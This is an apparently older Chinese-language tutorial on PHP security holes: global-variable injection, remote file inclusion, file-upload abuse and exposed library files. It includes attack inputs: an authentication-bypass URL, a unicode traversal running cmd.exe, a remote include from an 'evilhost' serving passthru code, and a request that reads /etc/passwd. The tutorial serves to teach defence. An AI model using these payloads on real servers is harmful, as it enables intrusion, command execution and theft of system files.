PHP程序的常見漏洞攻擊分析
綜述:PHP程序也不是固若金湯,隨著PHP的廣泛運用,一些黑客們也在無時不想找PHP的麻煩,通過PHP程序漏洞進行攻擊就是其中一種。在節,我們將從全局變量,遠程文件,文件上載,庫文件,Session文件,數據類型和容易出錯的函數這幾個方面分析了PHP的安全性。
如何通過全局變量進行攻擊?
PHP中的變量不需要事先聲明,它們會在第一次使用時自動創建,它們的類型根據上下文環境自動確定。從程序員的角度來看,這無疑是一種極其方便的處理方法。一旦一個變量被創建了,就可以在程序中的任何地方使用。這個特點導致的結果就是程序員很少初始化變量。
很顯然,基於PHP的應用程序的主函數一般都是接受用戶的輸入(主要是表單變量,上載文件和Cookie等),然後對輸入數據進行處理,然後把結果返回到客戶端浏覽器。為了使PHP代碼訪問用戶的輸入盡可能容易,實際上PHP是把這些輸入數據看作全局變量來處理的。
例如:
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
這會顯示一個文本框和提交按鈕。當用戶點擊提交按鈕時,"test.php"會處理用戶的輸入,當"test.php"運行時,"$hello"會包含用戶在文本框輸入的數據。從這裡我們應該看出,攻擊者可以按照自己的意願創建任意的全局變量。如果攻擊者不是通過表單輸入來調用"test.php",而是直接在浏覽器地址欄輸入http://server/test.php?hello=hi&setup=no,那麼,不止是"$hello"被創建,"$setup"也被創建了。
下面的用戶認證代碼暴露了PHP的全局變量所導致的安全問題:
<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
上面的代碼首先檢查用戶的密碼是否為"hello",如果匹配的話,設置"$auth"為"1",即通過認證。之後如果"$suth"為"1"的話,就會顯示一些重要信息。
這段代碼假定"$auth"在沒有設置值的時候是空的,但是攻擊者可以創建任何全局變量並賦值,通過類似"http://server/test.php?auth=1"的方法,我們完全可以欺騙這段代碼,使它相信我們是已經認證過的。
因此,為了提高PHP程序的安全性,我們不能相信任何沒有明確定義的變量。如果程序中的變量很多的話,這可是一項非常艱巨的任務。
一種常用的保護方式就是檢查數組HTTP_GET[]或POST_VARS[]中的變量,這依賴於我們的提交方式(GET或POST)。當PHP配置為打開"track_vars"選項的話(這是缺省值),用戶提交的變量就可以在全局變量和上面提到的數組中獲得。
但是值得說明的是,PHP有四個不同的數組變量用來處理用戶的輸入。HTTP_GET_VARS數組用來處理GET方式提交的變量,HTTP_POST_VARS數組用於處理POST方式提交的變量;HTTP_COOKIE_VARS數組用於處理作為cookie頭提交的變量,而對於HTTP_POST_FILES數組(比較新的PHP才提供),則完全是用戶用來提交變量的一種可選方式。用戶的一個請求可以很容易的把變量存在這四個數組中,因此一個安全的PHP程序應該檢查這四個數組。
如何通過遠程文件進行攻擊?
PHP是一種具有豐富特性的語言,提供了大量的函數,使編程者很容易實現特定功能。但是從安全的角度來看,功能越多,要保證它的安全性就越難,遠程文件就佐證這個問題的一個很好例子:
<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
\n");
?>
上面的腳本試圖打開文件"$filename",如果失敗就顯示錯誤信息。很明顯,如果我們能夠指定"$filename"的話,就能利用這個腳本浏覽系統中的任何文件。但是,這個腳本還存在一個不太明顯的特性,那就是它可以從任何其它WEB或FTP站點讀取文件。實際上,PHP的大多數文件處理函數對遠程文件的處理是透明的。
例如:
如果指定"$filename"為 "http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"
則上面的代碼實際上是利用主機target上的unicode漏洞,執行了dir命令。這使得支持遠程文件的include(),require(),include_once()和require_once()在上下文環境中變得更有趣。這些函數主要功能是包含指定文件的內容,並且把它們按照PHP代碼解釋,主要是用在庫文件上。
例如:
<?php
include($libdir . "/languages.php");
?>
上例中"$libdir"一般是一個在執行代碼前已經設置好的路徑,如果攻擊者能夠使得"$libdir"沒有被設置的話,那麼他就可以改變這個路徑。但是攻擊者並不能做任何事情,因為他們只能在他們指定的路徑中訪問文件languages.php(perl中的"Poisonnull byte"攻擊對PHP沒有作用)。但是由於有了對遠程文件的支持,攻擊者就可以做任何事情。例如,攻擊者可以在某台服務器上放一個文件languages.php,包含如下內容:
<?php
passthru("/bin/ls /etc");
?>
然後把"$libdir"設置為"http://<evilhost>/",這樣我們就可以在目標主機上執行上面的攻擊代碼,"/etc"目錄的內容將作為結果返回到客戶的浏覽器中。
需要注意的是,攻擊代碼是不會在自身所在的服務器(也就是evilhost)上執行執行自身PHP程序的,否則,攻擊代碼會攻擊自身所在的服務器,而不是在目標服務器執行。
如何通過文件上載進行攻擊?
PHP自動支持基於RFC 1867的文件上載,我們看下面的例子:
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
上面的代碼讓用戶從本地機器選擇一個文件,當點擊提交後,文件就會被上載到服務器。這顯然是很有用的功能,但是PHP的響應方式將使這項功能變得不安全。當PHP第一次接到這種請求,甚至在它開始解析被調用的PHP代碼之前,它會先接受遠程用戶的文件,檢查文件的長度是否超過"$MAX_FILE_SIZE variable"定義的值,如果通過這些測試的話,文件就會被存在本地的一個臨時目錄中。
因此,攻擊者可以發送任意文件給運行PHP的主機,在PHP程序還沒有決定是否接受文件上載時,文件已經被存在服務器上了。
讓我們考慮一下處理文件上載的PHP程序,正如我們上面說的,文件被接收並且是存在服務器上(位置是在配置文件中指定的,一般是/tmp),擴展名一般是隨機的,類似"phpxXuoXG"的形式。PHP程序需要上載文件的信息以便處理它,這可以通過兩種方式,一種方式是在PHP3中已經使用的,另一種是在我們對以前的方法提出安全公告後引入的。
大多數PHP程序還是使用老的方式來處理上載文件。PHP設置了四個全局變量來描述上載文件,比如說上面的例子:
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
然後,PHP程序開始處理根據"$hello"指定的文件。問題在於"$hello"不一定是一個PHP設置的變量,任何遠程用戶都可以指定它。如果我們使用下面的方式:
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=
text/plain&hello_name=hello.txt
就導致了下面的PHP全局變量(當然POST方式也可以(甚至是Cookie)):
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
上面的表單數據正好滿足了PHP程序所期望的變量,但是這時PHP程序不再處理本應在上載者本機上的上載文件,而是處理服務器上"/etc/passwd"(通常會導致內容暴露)文件。這種攻擊可以用於暴露任何敏感文件的內容。
新版本的PHP使用HTTP_POST_FILES[]來決定上載文件,同時也提供了很多函數來解決這個問題,例如有一個函數用來判斷某個文件是不是實際上載的文件。但是實際上肯定有很多PHP程序仍然使用舊的方法,所以也很容易受到這種攻擊。
作為文件上載的攻擊方法的一個變種,我們看一下下面的一段代碼:
<?php
if (file_exists($theme)) // Checks the file exists on the local system (noremote files)
include("$theme");
?>
如果攻擊者可以控制"$theme"的話,很顯然它可以利用"$theme"來讀取遠程系統上的任何文件。攻擊者的最終目標是在遠程服務器上執行任意指令,但是他無法使用遠程文件,因此,他必須得在遠程服務器上創建一個PHP文件。這乍看起來好象是不可能的,但是文件上載幫了我們這個忙,如果攻擊者先在本地機器上創建一個包含PHP代碼的文件,然後創建一個包含名為"theme"的文件域的表單,最後用這個表單通過文件上載把創建的包含PHP代碼的文件提交給上面的代碼,PHP就會把攻擊者提交的文件保存起來,並把"$theme"的值設置為攻擊者提交的文件,這樣file_exists()函數會檢查通過,攻擊者的代碼也將執行。
獲得執行任意指令的能力之後,攻擊者顯然想提升權限或者是擴大戰果,而這又需要一些服務器上沒有的工具集,而文件上載又一次幫了攻擊者的忙。攻擊者可以使用文件上載功能上載工具,把她們存在服務器上,然後利用他們執行指令的能力,使用chmod()改變文件的權限,然後執行。 例如:攻擊者可以繞過防火牆或IDS上載一個本地root攻擊程序,然後執行,這樣就獲得了root權限。
如何通過庫文件進行攻擊?
正如我們前面討論的那樣,include()和require()主要是為了支持代碼庫,因為我們一般是把一些經常使用的函數放到一個獨立的文件中,這個獨立的文件就是代碼庫,當需要使用其中的函數時,我們只要把這個代碼庫包含到當前的文件中就可以了。
最初,人們開發和發布PHP程序的時候,為了區別代碼庫和主程序代碼,一般是為代碼庫文件設置一個".inc"的擴展名,但是他們很快發現這是一個錯誤,因為這樣的文件無法被PHP解釋器正確解析為PHP代碼。如果我們直接請求服務器上的這種文件時,我們就會得到該文件的源代碼,這是因為當把PHP作為Apache的模塊使用時,PHP解釋器是根據文件的擴展名來決定是否解析為PHP代碼的。擴展名是站點管理員指定的,一般是".php", ".php3"和".php4"。如果重要的配置數據被包含在沒有合適的擴展名的PHP文件中,那麼遠程攻擊者很容易得到這些信息。
最簡單的解決方法就是:給每個文件都指定一個PHP文件的擴展名,這樣可以很好的防止洩露源代碼的問題,但是又產生了新的問題,通過請求這個文件,攻擊者可能使本該在上下文環境中運行的代碼獨立運行,這可能導致前面討論的全部攻擊。
下面是一個很明顯的例子:
In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?>
In libdir/loadlanguage.php:
<?php
...
include("$langDir/$userLang");
?>
當"libdir/loadlanguage.php"被"main.php"調用時是相當安全的,但是因為"libdir/loadlanguage"具有".php"的擴展名,因此遠程攻擊者可以直接請求這個文件,並且可以任意指定"$langDir"和"$userLang"的值。